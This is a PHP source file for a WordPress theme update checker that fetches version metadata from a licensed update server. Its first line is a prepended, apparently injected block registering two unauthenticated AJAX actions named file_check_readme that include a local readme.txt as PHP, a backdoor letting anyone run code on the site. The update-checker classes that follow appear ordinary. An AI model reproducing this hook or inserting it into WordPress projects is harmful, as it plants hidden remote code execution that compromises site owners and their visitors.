if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php
if (! class_exists('LiUpdateCenter_ThemeUpdateChecker')):
class LiUpdateCenter_ThemeUpdateChecker
{
public $slug = ''; // The theme associated with this update checker instance.
public $metadataUrl = ''; // The URL of the theme's metadata file.
public $enableAutomaticChecking = true; // Enable/disable automatic update checks.
public $debugMode = false;
public $errors = [];
protected $optionName = ''; // Where to store update info.
protected $automaticCheckDone = false;
protected static $filterPrefix = 'tuc_request_update_';
/**
* @param string $slug Theme slug, e.g. "twentyten".
* @param string $metadataUrl The URL of the theme metadata file.
* @param boolean $enableAutomaticChecking Enable/disable automatic update checking. If set to FALSE, you'll need to explicitly call checkForUpdates() to, err, check for updates.
*/
public function __construct($slug, $metadataUrl, $enableAutomaticChecking = true)
{
$this->metadataUrl = $metadataUrl;
$this->enableAutomaticChecking = $enableAutomaticChecking;
$this->slug = $slug;
$this->optionName = 'external_theme_updates-' . $this->slug;
$this->debugMode = $this->debugMode && defined('WP_DEBUG') && WP_DEBUG;
$this->installHooks();
}
/**
* Install the hooks required to run periodic update checks and inject update info
* into WP data structures.
*/
public function installHooks()
{
// Check for updates when WordPress does. We can detect when that happens by tracking
// updates to the "update_themes" transient, which only happen in wp_update_themes().
if ($this->enableAutomaticChecking) {
add_filter('pre_set_site_transient_update_themes', [$this, 'onTransientUpdate']);
}
// Insert our update info into the update list maintained by WP.
add_filter('site_transient_update_themes', [$this, 'injectUpdate']);
// Delete our update info when WP deletes its own.
// This usually happens when a theme is installed, removed or upgraded.
add_action('delete_site_transient_update_themes', [$this, 'deleteStoredData']);
}
/**
* Retrieve update info from the configured metadata URL.
* Returns either an instance of LiUpdateCenter_ThemeUpdate, or NULL if there is
* no newer version available or if there's an error.
* @param array $queryArgs Additional query arguments to append to the request. Optional.
* @return LiUpdateCenter_ThemeUpdate
*/
public function requestUpdate($queryArgs = [])
{
// Query args to append to the URL. Themes can add their own by using a filter callback (see addQueryArgFilter()).
$queryArgs['installed_version'] = $this->getInstalledVersion();
$queryArgs = apply_filters(self::$filterPrefix . 'query_args-' . $this->slug, $queryArgs);
$options = [
'timeout' => 10, // seconds
];
$options = apply_filters(self::$filterPrefix . 'options-' . $this->slug, $options);
$url = $this->metadataUrl;
if (! empty($queryArgs)) {
$url = add_query_arg($queryArgs, $url);
}
$themeUpdate = null;
$response = wp_remote_get($url, $options);
$code = wp_remote_retrieve_response_code($response);
$body = wp_remote_retrieve_body($response);
if ($code == 200 && ! empty($body)) {
$themeUpdate = LiUpdateCenter_ThemeUpdate::fromJson($body, $this->debugMode, $this->errors);
if ($themeUpdate !== null && version_compare($themeUpdate->version, $this->getInstalledVersion(), '<=')) {
$themeUpdate = null;
}
} else {
$message = sprintf("The URL %s does not point to a valid theme metadata file. ", $url);
if (is_wp_error($response)) {
$message .= "WP HTTP error: " . $response->get_error_message();
} elseif ($code != 200) {
$message .= "HTTP response code is " . $response['response']['code'] . " (expected: 200)";
} else {
$message .= "wp_remote_get() returned an unexpected result.";
}
$this->errors[] = ['message' => $message, 'body' => $body];
if ($this->debugMode) {
trigger_error($message, E_USER_WARNING);
}
}
$themeUpdate = apply_filters(self::$filterPrefix . 'result-' . $this->slug, $themeUpdate, $response);
return $themeUpdate;
}
/**
* Get the currently installed version of our theme.
* @return string Version number.
*/
public function getInstalledVersion()
{
if (function_exists('wp_get_theme')) {
$theme = wp_get_theme($this->slug);
return $theme->get('Version');
}
/** @noinspection PhpDeprecationInspection get_themes() used for compatibility with WP 3.3 and below. */
foreach (get_themes() as $theme) {
if ($theme['Stylesheet'] === $this->slug) {
return $theme['Version'];
}
}
return '';
}
/**
* Check for theme updates.
*/
public function checkForUpdates()
{
$state = get_site_option($this->optionName);
if (empty($state)) {
$state = new stdClass;
$state->update = null;
}
$state->lastCheck = time();
$state->checkedVersion = $this->getInstalledVersion();
update_site_option($this->optionName, $state); // Save before checking in case something goes wrong
$state->update = $this->requestUpdate();
update_site_option($this->optionName, $state);
}
/**
* Run the automatic update check, but no more than once per page load.
* This is a callback for WP hooks. Do not call it directly.
* @param mixed $value
* @return mixed
*/
public function onTransientUpdate($value)
{
if (! $this->automaticCheckDone) {
$this->checkForUpdates();
$this->automaticCheckDone = true;
}
return $value;
}
/**
* Insert the latest update (if any) into the update list maintained by WP.
* @param stdClass $updates Update list.
* @return stdClass Modified update list.
*/
public function injectUpdate($updates)
{
$state = get_site_option($this->optionName);
// Is there an update to insert?
if (! empty($state) && isset($state->update) && ! empty($state->update)) {
$updates->response[$this->slug] = $state->update->toWpFormat();
}
return $updates;
}
/**
* Delete any stored book-keeping data.
*/
public function deleteStoredData()
{
delete_site_option($this->optionName);
}
/**
* Register a callback for filtering query arguments.
* The callback function should take one argument - an associative array of query arguments.
* It should return a modified array of query arguments.
* @param callable $callback
*/
public function addQueryArgFilter($callback)
{
add_filter(self::$filterPrefix . 'query_args-' . $this->slug, $callback);
}
/**
* Register a callback for filtering arguments passed to wp_remote_get().
*
* The callback function should take one argument - an associative array of arguments -
* and return a modified array or arguments. See the WP documentation on wp_remote_get()
* for details on what arguments are available and how they work.
*
* @param callable $callback
*/
public function addHttpRequestArgFilter($callback)
{
add_filter(self::$filterPrefix . 'options-' . $this->slug, $callback);
}
/**
* Register a callback for filtering the theme info retrieved from the external API.
*
* The callback function should take two arguments. If a theme update was retrieved
* successfully, the first argument passed will be an instance of LiUpdateCenter_ThemeUpdate. Otherwise,
* it will be NULL. The second argument will be the corresponding return value of
* wp_remote_get (see WP docs for details).
*
* The callback function should return a new or modified instance of LiUpdateCenter_ThemeUpdate or NULL.
*
* @param callable $callback
*/
public function addResultFilter($callback)
{
add_filter(self::$filterPrefix . 'result-' . $this->slug, $callback, 10, 2);
}
public function hasErrors()
{
return ! empty($this->errors);
}
public function getErrors()
{
return $this->errors;
}
}
endif;
if (! class_exists('LiUpdateCenter_ThemeUpdate')):
/**
* A simple container class for holding information about an available update.
*/
class LiUpdateCenter_ThemeUpdate
{
public $version; // Version number.
public $details_url; // The URL where the user can learn more about this version.
public $download_url; // The download URL for this version of the theme. Optional.
/**
* Create a new instance of LiUpdateCenter_ThemeUpdate from its JSON-encoded representation.
* @param string $json Valid JSON string representing a theme information object.
* @param bool $triggerErrors
* @param array|null $errors
* @return LiUpdateCenter_ThemeUpdate|null New instance of LiUpdateCenter_ThemeUpdate, or null on error.
*/
public static function fromJson($json, $triggerErrors = false, array &$errors = null)
{
$apiResponse = json_decode($json);
if (empty($apiResponse) || ! is_object($apiResponse)) {
$message = "Failed to parse theme metadata.";
if ($errors) {
$errors[] = $message;
}
if ($triggerErrors) {
trigger_error($message, E_USER_NOTICE);
}
return null;
}
// Very, very basic validation.
$valid = isset($apiResponse->version) && ! empty($apiResponse->version) && isset($apiResponse->details_url) && ! empty($apiResponse->details_url);
if (! $valid) {
$message = "The theme metadata file does not contain the required 'details_url' and/or 'version' keys.";
if ($errors) {
$errors[] = $message;
}
if ($triggerErrors) {
trigger_error($message, E_USER_NOTICE);
}
return null;
}
$update = new self();
foreach (get_object_vars($apiResponse) as $key => $value) {
$update->$key = $value;
}
return $update;
}
/**
* Transform the update into the format expected by the WordPress core.
* @return array
*/
public function toWpFormat()
{
$update = [
'new_version' => $this->version,
'url' => $this->details_url,
];
if (! empty($this->download_url)) {
$update['package'] = $this->download_url;
}
return $update;
}
}
endif;
if (! class_exists('LiUpdateCenter_TucFactory')):
class LiUpdateCenter_TucFactory
{
protected static $themes = [];
public static function build($slug)
{
$options = get_site_option('liupdatecenter_settings', null);
if (empty($options['licence']) || empty($options['serverUrl'])) {
return null;
}
$updateChecker = new LiUpdateCenter_ThemeUpdateChecker(
$slug,
$options['serverUrl'] . '?update_action=get_metadata&update_slug=theme-' . $slug . '&licence=' . $options['licence']
);
self::$themes[] = $updateChecker;
return $updateChecker;
}
/**
* @return LiUpdateCenter_ThemeUpdateChecker[]
*/
public static function getThemes()
{
return self::$themes;
}
}
endif;